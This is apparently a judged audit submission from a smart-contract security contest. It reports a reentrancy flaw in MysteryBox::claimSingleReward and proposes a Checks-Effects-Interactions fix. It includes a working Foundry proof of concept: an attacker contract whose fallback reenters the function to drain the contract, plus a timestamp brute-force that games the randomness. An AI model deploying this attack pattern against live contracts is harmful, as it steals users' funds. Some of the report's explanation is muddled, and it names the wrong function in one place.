Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Attack on MysteryBox::claimSingleReward Function Leading to Complete Contract Drain

## Summary
The `MysteryBox::claimSingleReward` function contains a critical vulnerability that can be exploited by a malicious contract. Specifically, it allows for a reentrancy attack where a malicious contract can reenter the function repeatedly, draining all the funds from the contract.
## Vulnerability Details
The `MysteryBox::claimSingleReward` function makes an external low-level call to send ether rewards to the player. However, this function does not adhere to the Checks-Effects-Interactions (CEI) pattern, which is a best practice to prevent reentrancy attacks.
After the external call is made, the function updates the `rewardsOwned` mapping by using the `delete` keyword to remove the claimed reward. The issue arises because the `delete` keyword only resets the value at the specified index in the dynamic array to its default value. This does not actually change the length of the array, leaving it vulnerable to reentrant attacks. An attacker can repeatedly call the function before the array length is updated or the state is fully cleaned up.
Additionally, the `delete` operation can be applied multiple times without causing any errors or reverts, since it only resets the values but does not remove them from the array. This flaw allows the attacker to continue draining funds from the contract by triggering multiple calls to the function, exploiting the vulnerability.
```javascript
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
@> (bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
@> delete rewardsOwned[msg.sender][_index];
}
```
## Impact
The vulnerability within the `MysteryBox::claimSingleReward` function allows for a reentrancy attack where an attacker can repeatedly reenter the function through the external call, draining the entire protocol of its funds. By continuously exploiting this weakness, a malicious player can reenter the function multiple times before the protocol's state is fully updated, thus repeatedly claiming rewards.
Additionally, since the `MysteryBox::openBox` function is vulnerable to front-running, a malicious player can ensure that they always receive a reward of `0.1 ether`. Given that the protocol’s balance will likely be a multiple of `0.1 ether` at any given stage, the attacker can strategically reenter the contract and progressively drain the funds from the protocol until it is fully depleted.
## Tools Used
The following proof of concept has been tested using Foundry. A contract similar to `reentranceAttacker` can be deployed to exploit this vulnerability and drain all the funds from the protocol. This setup allows testing of the reentrancy attack and confirms that the protocol is vulnerable to being drained through repeated reentrant calls to `claimSingleReward`.
<details>
<summary>code</summary>
Add the following code to a file named in the format `<filename>.t.sol` in the foundry project's test folder and run it.
```javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {console2} from "../lib/forge-std/src/Test.sol"; // Import Foundry's console utility for logging
import "../lib/forge-std/src/Test.sol"; // Import Foundry's Test contract for testing functionality
import "../src/MysteryBox.sol"; // Import the MysteryBox contract to be tested
// Main test contract to simulate the reentrance attack on the MysteryBox contract using claimSingleReward
contract MysteryBoxTest is Test {
MysteryBox public mysteryBox; // Instance of the MysteryBox contract
reentranceAttacker public reEnterer; // Instance of the reentrance attacker contract
address public owner; // Address of the contract owner
address public user1; // Dummy user1 for testing
address public user2; // Dummy user2 for testing
// Setup function to initialize the state before tests are run
function setUp() public {
owner = makeAddr("owner"); // Assign an address to the owner
vm.deal(owner, 100 ether); // Provide the owner with 100 ether for testing purposes
user1 = address(0x1); // Set up a dummy user1 address
user2 = address(0x2); // Set up a dummy user2 address
// Deploy the MysteryBox contract from the owner's address with 10 ether
vm.prank(owner);
mysteryBox = new MysteryBox{value: 10 ether}();
// Deploy the reentrance attacker contract linked to the MysteryBox contract
reEnterer = new reentranceAttacker(address(mysteryBox));
// Fund the reentrance attacker contract with 1 ether to start the attack
reEnterer.deposit{value: 1 ether}();
}
// Test case to simulate a reentrance attack by exploiting claimSingleReward
function testReentranceInClaimSingleReward() public {
// Flag to track if a favorable block timestamp is found
bool found = false;
uint256 timestamp = block.timestamp;
// Find a favorable timestamp that generates a reward within the target range (75-95)
while (!found) {
// Simulate the random value generated by MysteryBox's randomness
uint256 pseudoRandomValue = uint256(keccak256(abi.encodePacked(timestamp, address(reEnterer)))) % 100;
// Look for a reward that falls within the specified range (e.g., a Bronze Coin reward)
if (pseudoRandomValue > 75 && pseudoRandomValue < 95) {
found = true; // Mark that a favorable timestamp is found
} else {
timestamp++; // Increment the timestamp to check the next possible value
}
}
// Warp to the favorable timestamp to control the randomness
vm.warp(timestamp);
// Simulate the reentrance attacker buying and opening a mystery box
reEnterer.buyAndOpenReward();
// Start the reentrancy attack by claiming a single reward repeatedly
reEnterer.claimSingleReward();
// Check if the MysteryBox contract's balance has been drained to 0
uint256 balanceAfter = address(mysteryBox).balance;
assertEq(balanceAfter, 0); // Assert that the contract's balance is 0 after the attack
}
}
// Contract representing a reentrance attacker that exploits the MysteryBox contract using claimSingleReward
contract reentranceAttacker {
MysteryBox mysteryBoxInstance; // Instance of the linked MysteryBox contract
bool counter = false; // A flag to control the loop (not used in this implementation)
// Constructor to set the MysteryBox contract address
constructor(address changed) {
mysteryBoxInstance = MysteryBox(changed); // Link the deployed MysteryBox contract
}
// Function to simulate the attacker buying and opening a reward from the MysteryBox
function buyAndOpenReward() public {
// Buy a mystery box from the MysteryBox contract by sending 0.1 ether
mysteryBoxInstance.buyBox{value: 0.1 ether}();
// Simulate randomness calculation (this is redundant as the MysteryBox will generate it internally)
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, address(this)))) % 100;
// Open the mystery box to receive the reward
mysteryBoxInstance.openBox();
}
// Function to start the reentrance attack by claiming a single reward
function claimSingleReward() public {
mysteryBoxInstance.claimSingleReward(0); // Call the vulnerable claimSingleReward function in the MysteryBox contract
}
// Function to deposit ether into the attacker contract (used in setup)
function deposit() public payable {
require(msg.value > 0, "No ether sent"); // Ensure that some ether is deposited
}
// Fallback function triggered when the MysteryBox sends ether during the claimSingleReward function
fallback() external payable {
// Reenter the claimSingleReward function as long as the MysteryBox contract has a balance
while (address(mysteryBoxInstance).balance / msg.value != 0) {
// Reenter the function with a hardcoded index of 0, draining the contract's funds
mysteryBoxInstance.claimSingleReward(0);
}
}
}
```
</details>
## Recommendations
The `MysteryBox::claimAllRewards` function can be modified to mitigate the reentrancy vulnerability. Currently, the use of the `delete` keyword only resets an array element to its default value, leaving a gap in the array without reducing its length. This exposes the contract to potential reentrancy attacks and repeated calls that could drain funds.
To address this issue, rather than using `delete`, the last element in the array can be moved into the position of the element to be removed, and the `.pop()` function can be used to remove the last element. This approach maintains the contiguity of the array and ensures the length is updated correctly, preventing gaps and improper state management.
Additionally, adopting the `Checks-Effects-Interactions (CEI)` pattern strengthens the function's security. By updating the contract's state (e.g., modifying the rewards array) before making any external calls, this pattern prevents attackers from exploiting reentrancy vulnerabilities. The contract state is secured before any interactions with external addresses, making it more resistant to attack vectors that rely on reentering the function during external calls.
This modification ensures both improved security and proper management of the dynamic array.
```diff
function claimSingleReward(uint256 _index) public {
// **Check phase**
+ uint256 rewardsLength = rewardsOwned[msg.sender].length;
require(_index < rewardsLength, "Invalid index"); // Check for valid index (strictly less than the length)
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
// **Effect phase**
// Move the last element into the place of the one being claimed if _index is not the last element.
+ if (_index < rewardsLength - 1) {
+ rewardsOwned[msg.sender][_index] = rewardsOwned[msg.sender][rewardsLength - 1];
+ }
+ rewardsOwned[msg.sender].pop(); // Remove the last element
// **Interaction phase**
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
}
```
Updates

Lead Judging Commences

inallhonesty Lead Judge
11 months ago

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.